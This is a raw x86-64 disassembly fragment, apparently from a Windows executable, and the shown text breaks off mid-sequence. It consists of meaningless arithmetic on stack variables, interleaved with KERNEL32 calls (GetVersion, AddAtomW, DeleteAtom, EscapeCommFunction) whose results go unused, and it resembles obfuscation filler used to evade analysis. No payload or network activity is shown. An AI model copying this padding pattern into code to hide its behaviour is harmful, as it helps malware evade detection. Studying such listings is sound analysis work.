mov rax, qword [rsp + 0x5d48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1f44]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x209c], eax
lea rax, [rsp + 0x1c7]
mov qword [rsp + 0x5e10], rax
mov rax, qword [rsp + 0x4f70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4540]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3b88]
mov qword [rcx], rax
lea rax, [rsp + 0x688]
mov qword [rsp + 0x5e18], rax
mov rax, qword [rsp + 0x5070]
movzx eax, word [rax]
mov word [0x14018c2d8], ax
mov rax, qword [rsp + 0x2bc8]
movzx ecx, al
mov rax, qword [rsp + 0x3820]
sar rax, cl
mov rcx, qword [rsp + 0x5c78]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x2144], eax
lea rax, [rsp + 0x5358]
mov qword [rsp + 0x5e20], rax
mov rax, qword [rsp + 0x44c8]
movsx eax, word [rax]
movsx ecx, word [0x14018c148]
shl eax, cl
mov word [rsp + 0xc68], ax
movzx eax, word [rsp + 0x3d8]
movzx ecx, word [rsp + 0xc34]
xor eax, ecx
mov word [rsp + 0xcd0], ax
mov rax, qword [rsp + 0x44a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b0]
or eax, ecx
mov byte [rsp + 0x150], al
mov rax, qword [rsp + 0x4540]
mov rcx, qword [rsp + 0x5750]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fb0]
mov eax, dword [rax]
mov dword [rsp + 0x2148], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x2018], eax
mov rax, qword [rsp + 0x5538]
mov rcx, qword [rsp + 0x5268]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x45c0], rax
movsx eax, word [rsp + 0xdb4]
movsx ecx, word [rsp + 0x584]
sub eax, ecx
mov word [0x14018bfc0], ax
movzx eax, word [rsp + 0xd34]
movzx ecx, word [rsp + 0xcd8]
sar eax, cl
mov rcx, qword [rsp + 0x4220]
mov word [rcx], ax
lea rax, [rsp + 0x1e98]
mov qword [rsp + 0x5e28], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x80]
and eax, ecx
mov rcx, qword [rsp + 0x4868]
mov byte [rcx], al
mov rax, qword [rsp + 0x4550]
mov rcx, qword [rsp + 0x36e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x38d8], rax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x214c], eax
mov rax, qword [rsp + 0x3f48]
mov ecx, dword [rsp + 0x2074]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x43c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x3ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5890]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x48d8]
mov qword [rcx], rax
lea rax, [rsp + 0x1cd]
mov qword [rsp + 0x5e30], rax
mov rax, qword [rsp + 0x55b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd40]
and eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
movzx eax, word [rsp + 0xcd4]
mov word [0x14018c2dc], ax
lea rax, [rsp + 0x2e48]
mov qword [rsp + 0x5e38], rax
movzx ecx, word [rsp + 0xd18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
movzx eax, word [rsp + 0x860]
movzx ecx, word [rsp + 0xcfc]
sub eax, ecx
mov word [rsp + 0xd28], ax
lea rax, [rsp + 0xcac]
mov qword [rsp + 0x5e40], rax
mov rax, qword [rsp + 0x44d8]
mov rcx, qword [rsp + 0x5228]
mov qword [rsp + 0x5e48], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5e48]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x54a0], rax
mov rax, qword [rsp + 0x4dd8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a0]
xor eax, ecx
mov byte [rsp + 0x109], al
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0x5e50], rax
mov rax, qword [rsp + 0x58e8]
mov ecx, dword [rsp + 0x207c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4720]
mov dword [rcx], eax
lea rax, [0x14018c2c0]
mov qword [rsp + 0x5e58], rax
lea rax, [rsp + 0x2bd0]
mov qword [0x14018c2e0], rax
movzx eax, byte [rsp + 0x1d4]
mov rcx, qword [rsp + 0x47e0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x154], al
mov rax, qword [rsp + 0x4c40]
mov ecx, dword [rsp + 0x1f68]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5ad0]
mov dword [rcx], eax
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x5e60], rax
mov rax, qword [rsp + 0x58f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8e4]
sub eax, ecx
mov rcx, qword [rsp + 0x5b58]
mov word [rcx], ax
lea rax, [rsp + 0x2b40]
mov qword [rsp + 0x5e68], rax
mov rax, qword [0x14018c200]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x3f30]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5998]
mov byte [rcx], al
mov eax, dword [rsp + 0x1e0c]
mov ecx, dword [rsp + 0x2140]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f44], eax
lea rax, [rsp + 0x624]
mov qword [rsp + 0x5e70], rax
movzx eax, word [rsp + 0xda8]
movzx ecx, word [rsp + 0xd1c]
sar eax, cl
mov word [0x14018ad38], ax
lea rcx, [rsp + 0x15818]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x42d8]
mov rcx, qword [rsp + 0x2b30]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x50b0], rax
mov rax, qword [rsp + 0x4300]
mov rax, qword [rax]
mov qword [rsp + 0x5e78], rax
mov rax, qword [rsp + 0x5310]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3de8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x58f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4430]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x50b8]
mov word [rcx], ax
lea rax, [rsp + 0x10e]
mov qword [rsp + 0x5e80], rax
mov rax, qword [rsp + 0x4cc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2084]
shl eax, cl
mov dword [rsp + 0x20f0], eax
lea rax, [rsp + 0x2d60]
mov qword [rsp + 0x5e88], rax
mov rax, qword [rsp + 0x5148]
mov rcx, qword [rsp + 0x4c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4358]
mov dword [rcx], eax
lea rax, [rsp + 0x1d7]
mov qword [rsp + 0x5e90], rax
movsx eax, word [rsp + 0x958]
movsx ecx, word [rsp + 0xcec]
or eax, ecx
mov word [0x14018bf08], ax
mov rax, qword [rsp + 0x5630]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4920]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x4460]
mov word [rcx], ax
lea rcx, str.YcaP8kk
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0xdf0], ax
mov rax, qword [rsp + 0x5bd8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd4c]
sub eax, ecx
mov rcx, qword [rsp + 0x5218]
mov word [rcx], ax
lea rax, [rsp + 0x2f10]
mov qword [rsp + 0x5e98], rax
mov rax, qword [rsp + 0x4870]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdc7]
add eax, ecx
mov byte [rsp + 0x1bd], al
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x5ea0], rax
mov rax, qword [rsp + 0x3dc8]
mov ecx, dword [rsp + 0x2148]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2038], eax
mov rax, qword [rsp + 0x4398]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb48]
add eax, ecx
mov rcx, qword [rsp + 0x58a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5800]
movzx eax, word [rax]
mov word [rsp + 0xdf4], ax
mov rax, qword [rsp + 0x48b8]
movzx ecx, al
mov rax, qword [rsp + 0x3610]
sar rax, cl
mov qword [0x14018ad88], rax
mov rax, qword [0x14018c0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4948]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov word [rcx], ax
lea rax, [rsp + 0x3320]
mov qword [rsp + 0x5ea8], rax
mov rax, qword [rsp + 0x4a88]
mov rcx, qword [rsp + 0x4350]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4168]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x99]
and eax, ecx
mov rcx, qword [rsp + 0x3e28]
mov byte [rcx], al
lea rax, [rsp + 0x212c]
mov qword [rsp + 0x5eb0], rax
mov rax, qword [rsp + 0x4868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
xor eax, ecx
mov byte [rsp + 0x1ba], al
lea rax, [rsp + 0x1fc0]
mov qword [rsp + 0x5eb8], rax
mov rax, qword [rsp + 0x4438]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5d90]
shl rax, cl
mov rcx, qword [rsp + 0x4ce0]
mov qword [rcx], rax
lea rax, [rsp + 0x69c]
mov qword [0x14018c2e8], rax
movsx eax, word [0x14018c260]
movsx ecx, word [rsp + 0xc6c]
or eax, ecx
mov rcx, qword [rsp + 0x4618]
mov word [rcx], ax
lea rax, [rsp + 0xcc4]
mov qword [rsp + 0x5ec0], rax
movzx eax, word [rsp + 0x8e4]
movzx ecx, word [rsp + 0xcf0]
sar eax, cl
mov word [rsp + 0x694], ax
lea rax, [0x14018ad80]
mov qword [rsp + 0x5ec8], rax
movsx eax, byte [rsp + 0x1b0]
mov rcx, qword [rsp + 0x5248]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b8], al
mov rcx, qword [rsp + 0x5d58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x204c], eax
mov rax, qword [rsp + 0x5768]
mov ecx, dword [rsp + 0x1d4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1f40], eax
mov rax, qword [0x14018be88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5498]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x768], ax
movzx eax, word [rsp + 0x844]
mov rcx, qword [rsp + 0x4960]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ab8]
mov word [rcx], ax
mov rax, qword [0x14018be90]
mov rcx, qword [rsp + 0x44d8]
and rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c1e8]
mov qword [rcx], rax
lea rax, [rsp + 0x5828]
mov qword [rsp + 0x5ed0], rax
mov rax, qword [rsp + 0x37e8]
mov rcx, qword [rsp + 0x4a78]
mov qword [rsp + 0x5ed8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ed8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2b60], rax
mov rax, qword [rsp + 0x56c8]
mov rax, qword [rax]
mov qword [rsp + 0x5ee0], rax
movzx eax, word [rsp + 0x694]
movzx ecx, word [rsp + 0xbfc]
sub eax, ecx
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0x4308]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4180]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x3ed0]
mov byte [rcx], al
lea rax, [rsp + 0x2044]
mov qword [rsp + 0x5ee8], rax
mov rax, qword [rsp + 0x4d40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1b7]
and eax, ecx
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x54c8]
mov qword [rsp + 0x5ef0], rax
lea rax, [rsp + 0x2040]
mov qword [0x14018c2f0], rax
mov rax, qword [0x14018c010]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4b50]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4a28]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3f38]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x3cf0]
mov word [rcx], ax
movzx eax, word [rsp + 0x864]
movzx ecx, word [0x14018bf60]
shl eax, cl
mov word [rsp + 0x92c], ax
mov rax, qword [rsp + 0x5a30]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b50], rax
movzx eax, byte [rsp + 0x18d]
mov byte [rsp + 0x1dd], al
mov rax, qword [rsp + 0x3eb0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14018be78]
shr eax, cl
mov dword [rsp + 0x1b18], eax
mov rax, qword [rsp + 0x5e50]
mov rax, qword [rax]
mov qword [rsp + 0x5ef8], rax
movsx eax, word [rsp + 0xd84]
mov rcx, qword [rsp + 0x5810]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5de8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8f4]
mov rcx, qword [rsp + 0x41f8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14018ad08], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
mov rax, qword [rsp + 0x55e0]
mov rcx, qword [rsp + 0x5b28]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3f78], rax
mov rax, qword [rsp + 0x5b30]
movzx eax, word [rax]
movzx ecx, word [0x14018bec8]
add eax, ecx
mov word [rsp + 0x478], ax
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [rsp + 0x4890]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1d0], al
lea rax, [rsp + 0x1ec0]
mov qword [rsp + 0x5f00], rax
mov rax, qword [rsp + 0x51b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1c0]
and eax, ecx
mov rcx, qword [rsp + 0x5998]
mov byte [rcx], al
mov eax, dword [rsp + 0x1bac]
movzx ecx, al
mov eax, dword [rsp + 0x1e00]
shr eax, cl
mov rcx, qword [rsp + 0x58e8]
mov dword [rcx], eax
lea rax, [rsp + 0x3670]
mov qword [rsp + 0x5f08], rax
movsx eax, word [rsp + 0xd44]
movsx ecx, word [rsp + 0xc1c]
shl eax, cl
mov word [rsp + 0xd14], ax
lea rax, [rsp + 0xccc]
mov qword [0x14018c2f8], rax
mov rax, qword [rsp + 0x4f28]
mov qword [rsp + 0x5f10], rax
mov rax, qword [rsp + 0x5310]
mov rcx, qword [0x14018c0e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4c50]
mov qword [rcx], rax
movsx eax, word [rsp + 0x624]
movsx ecx, word [rsp + 0xcdc]
xor eax, ecx
mov word [rsp + 0xd30], ax
mov rax, qword [rsp + 0x5290]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4c8]
sub eax, ecx
mov word [rsp + 0x91c], ax
movsx eax, byte [rsp + 0x1c1]
mov rcx, qword [rsp + 0x5790]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4238]
mov byte [rcx], al
lea rax, [rsp + 0x1e0c]
mov qword [rsp + 0x5f18], rax
mov rax, qword [rsp + 0x5688]
mov rcx, qword [rsp + 0x5628]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3930], rax
mov rax, qword [rsp + 0x4cc8]
mov rcx, qword [rsp + 0x53d0]
mov qword [rsp + 0x5f20], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5f20]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x3098], rax
mov rax, qword [rsp + 0x4980]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3a50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018c258]
mov word [rcx], ax
lea rax, [rsp + 0xcb8]
mov qword [rsp + 0x5f28], rax
mov rax, qword [rsp + 0x44b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x202c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5830]
mov dword [rcx], eax
lea rax, [rsp + 0x1c4]
mov qword [rsp + 0x5f30], rax
mov rax, qword [rsp + 0x45d0]
mov rcx, qword [0x14018c1f8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2b30], rax
lea rax, [rsp + 0x209c]
mov qword [rsp + 0x5f38], rax
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x5688]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2ef8], rax
mov rax, qword [rsp + 0x5038]
movsx eax, byte [rax]
mov rcx, qword [0x14018bf70]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5c88]
mov byte [rcx], al
lea rax, [rsp + 0xd88]
mov qword [rsp + 0x5f40], rax
mov rax, qword [rsp + 0x54b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4788]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x14018be60]
mov word [rcx], ax
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x3098]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2c78], rax
movzx eax, word [rsp + 0xc94]
mov word [rsp + 0xdf8], ax
mov rax, qword [rsp + 0x4058]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x554]
shl eax, cl
mov rcx, qword [rsp + 0x4b50]
mov word [rcx], ax
mov rax, qword [rsp + 0x4958]
mov rcx, qword [0x14018ace0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5388], rax
movzx ecx, word [rsp + 0xdcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdfc], ax
mov eax, dword [rsp + 0x2134]
mov dword [rsp + 0x2150], eax
mov rax, qword [rsp + 0x55c8]
mov rcx, qword [rsp + 0x4c70]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x59e0], rax
movsx eax, byte [0x14018acd9]
movsx ecx, byte [rsp + 0x101]
add eax, ecx
mov byte [rsp + 0x95], al
movzx eax, word [rsp + 0xbfc]
movzx ecx, word [rsp + 0xca4]
and eax, ecx
mov rcx, qword [rsp + 0x4098]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f78]
mov rax, qword [rax]
mov qword [0x14018c300], rax
mov rax, qword [0x14018bdd0]
movzx eax, byte [rax]
imul eax, eax, 0xc8
mov rcx, qword [rsp + 0x3e58]
mov byte [rcx], al
mov eax, dword [rsp + 0x2028]
mov dword [rsp + 0x2154], eax
movsx eax, word [rsp + 0xd3c]
movsx ecx, word [rsp + 0xbb4]
sar eax, cl
mov rcx, qword [rsp + 0x4be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x59d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xa98], ax
mov rax, qword [rsp + 0x3e60]
mov rcx, qword [rsp + 0x5098]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f70]
mov qword [rcx], rax
lea rax, [rsp + 0x1ab]
mov qword [rsp + 0x5f48], rax
mov rax, qword [rsp + 0x52c8]
mov rcx, qword [rsp + 0x3fa0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4318]
mov dword [rcx], eax
movsx eax, word [rsp + 0xcb4]
movsx ecx, word [rsp + 0xd74]
and eax, ecx
mov rcx, qword [rsp + 0x4be0]
mov word [rcx], ax
movzx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x40d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14018c070], ax
mov rax, qword [rsp + 0x5358]
mov qword [rsp + 0x5f50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x205c], eax
mov rax, qword [rsp + 0x45d0]
mov rcx, qword [rsp + 0x53d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4130]
mov qword [rcx], rax
lea rax, [0x14018c1f8]
mov qword [rsp + 0x5f58], rax
mov rax, qword [rsp + 0x4430]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc88]
xor eax, ecx
mov word [rsp + 0x584], ax
movsx eax, byte [rsp + 0x99]
movsx ecx, byte [rsp + 0x1b1]
shl eax, cl
mov rcx, qword [rsp + 0x5d00]
mov byte [rcx], al
lea rax, [0x14018be78]
mov qword [rsp + 0x5f60], rax
mov rax, qword [rsp + 0x3fc0]
mov rcx, qword [rsp + 0x5cc0]
mov qword [rsp + 0x5f68], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5f68]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4fc8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x1f8c]
mov ecx, dword [rsp + 0x1ec0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1e50], eax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [rsp + 0x8e], al
lea rax, [rsp + 0x768]
mov qword [0x14018c308], rax
movzx eax, word [rsp + 0x558]
movzx ecx, word [rsp + 0xd7c]
add eax, ecx
mov rcx, qword [rsp + 0x5600]
mov word [rcx], ax
lea rax, [rsp + 0xce0]
mov qword [rsp + 0x5f70], rax
mov rax, qword [rsp + 0x52c0]
movzx ecx, al
mov rax, qword [rsp + 0x3820]
sar rax, cl
mov rcx, qword [rsp + 0x4bb0]
mov qword [rcx], rax
lea rax, [rsp + 0x150]
mov qword [rsp + 0x5f78], rax
mov rax, qword [rsp + 0x5560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4258]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ca8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5be0]
mov rcx, qword [rsp + 0x5608]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x3eb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x40d0]
movzx eax, word [rax]
mov word [rsp + 0xe00], ax
mov rax, qword [0x14018be60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5d28]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4b18]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0x1fa4], eax
mov rax, qword [rsp + 0x4ca8]
mov rcx, qword [rsp + 0x5ed0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14018ad90], rax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x5f80], rax
mov rax, qword [0x14018c1a8]
mov rcx, qword [rsp + 0x5e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4cf0]
mov qword [rcx], rax
lea rax, [rsp + 0x4740]
mov qword [rsp + 0x5f88], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x3fc0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5560]
mov qword [rcx], rax
mov rax, qword [rsp + 0x45f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f48]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x40e8]
mov byte [rcx], al
lea rax, [rsp + 0x1d2]
mov qword [rsp + 0x5f90], rax
mov rax, qword [rsp + 0x3bb8]
mov rcx, qword [rsp + 0x5148]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x50d8]
mov dword [rcx], eax
lea rax, [rsp + 0x2110]
mov qword [rsp + 0x5f98], rax
movsx eax, word [rsp + 0xbb4]
mov rcx, qword [rsp + 0x47f0]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14018bea0]
mov word [rcx], ax
movsx eax, word [rsp + 0xddc]
mov rcx, qword [0x14018beb0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x47f0]
mov word [rcx], ax
movzx eax, word [rsp + 0x3d8]
movzx ecx, word [rsp + 0x3cc]
sub eax, ecx
mov rcx, qword [rsp + 0x4588]
mov word [rcx], ax
lea rax, [rsp + 0x4c8]
mov qword [rsp + 0x5fa0], rax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0x47c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1a2], al
mov eax, dword [rsp + 0x2120]
mov dword [rsp + 0x2158], eax
mov rax, qword [rsp + 0x4b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2d50]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c58]
mov qword [rcx], rax
movsx eax, word [rsp + 0x970]
mov rcx, qword [rsp + 0x3f18]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5390]
mov word [rcx], ax
movzx eax, word [rsp + 0xda8]
mov rcx, qword [rsp + 0x5b18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x764], ax
mov rax, qword [rsp + 0x41a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3900]
and rcx, rax
mov rax, rcx
mov qword [0x14018c300], rax
movzx ecx, word [rsp + 0xcf4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe04], ax
mov rax, qword [rsp + 0x53f0]
mov rcx, qword [rsp + 0x4b28]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x3900], rax
mov rax, qword [rsp + 0x3900]
mov qword [rsp + 0x5fa8], rax
mov rax, qword [0x14018bed0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x55e0]
mov qword [rsp + 0x5fb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5fb0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4c78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4a30]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5420]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5788]
mov word [rcx], ax
lea rax, [rsp + 0x1b6]
mov qword [rsp + 0x5fb8], rax
mov eax, dword [rsp + 0x1f10]
mov rcx, qword [rsp + 0x5ad0]
mov qword [rsp + 0x5fc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5fc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2028], eax
mov rax, qword [rsp + 0x4638]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
add eax, ecx
mov byte [rsp + 0x187], al
mov rax, qword [rsp + 0x4ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5040]
mov qword [rcx], rax
lea rax, [rsp + 0x1e0c]
mov qword [0x14018c310], rax
lea rax, [rsp + 0xd74]
mov qword [rsp + 0x5fc8], rax
movsx eax, word [rsp + 0xdac]
mov rcx, qword [rsp + 0x4f58]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd40], ax
movzx eax, word [0x14018c0cc]
mov rcx, qword [rsp + 0x5568]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4908]
mov word [rcx], ax
mov rax, qword [rsp + 0x45c0]
mov qword [rsp + 0x5fd0], rax
mov rax, qword [rsp + 0x4e38]
mov rcx, qword [rsp + 0x5c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x47f8], rax
movzx eax, byte [rsp + 0x1c7]
mov byte [rsp + 0x1de], al
mov rax, qword [rsp + 0x5398]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4008]
mov dword [rcx], eax
movsx eax, word [rsp + 0x69c]
movsx ecx, word [rsp + 0xc84]
sar eax, cl
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
movzx eax, word [0x14018bf88]
mov rcx, qword [rsp + 0x3b90]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bf38]
mov word [rcx], ax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x5bc8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2c00], rax
movzx eax, word [rsp + 0xd94]
mov rcx, qword [rsp + 0x4850]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xcf8], ax
mov rax, qword [rsp + 0x5730]
mov eax, dword [rax]
mov dword [rsp + 0x215c], eax
mov rax, qword [rsp + 0x3f90]
movzx eax, byte [rax]
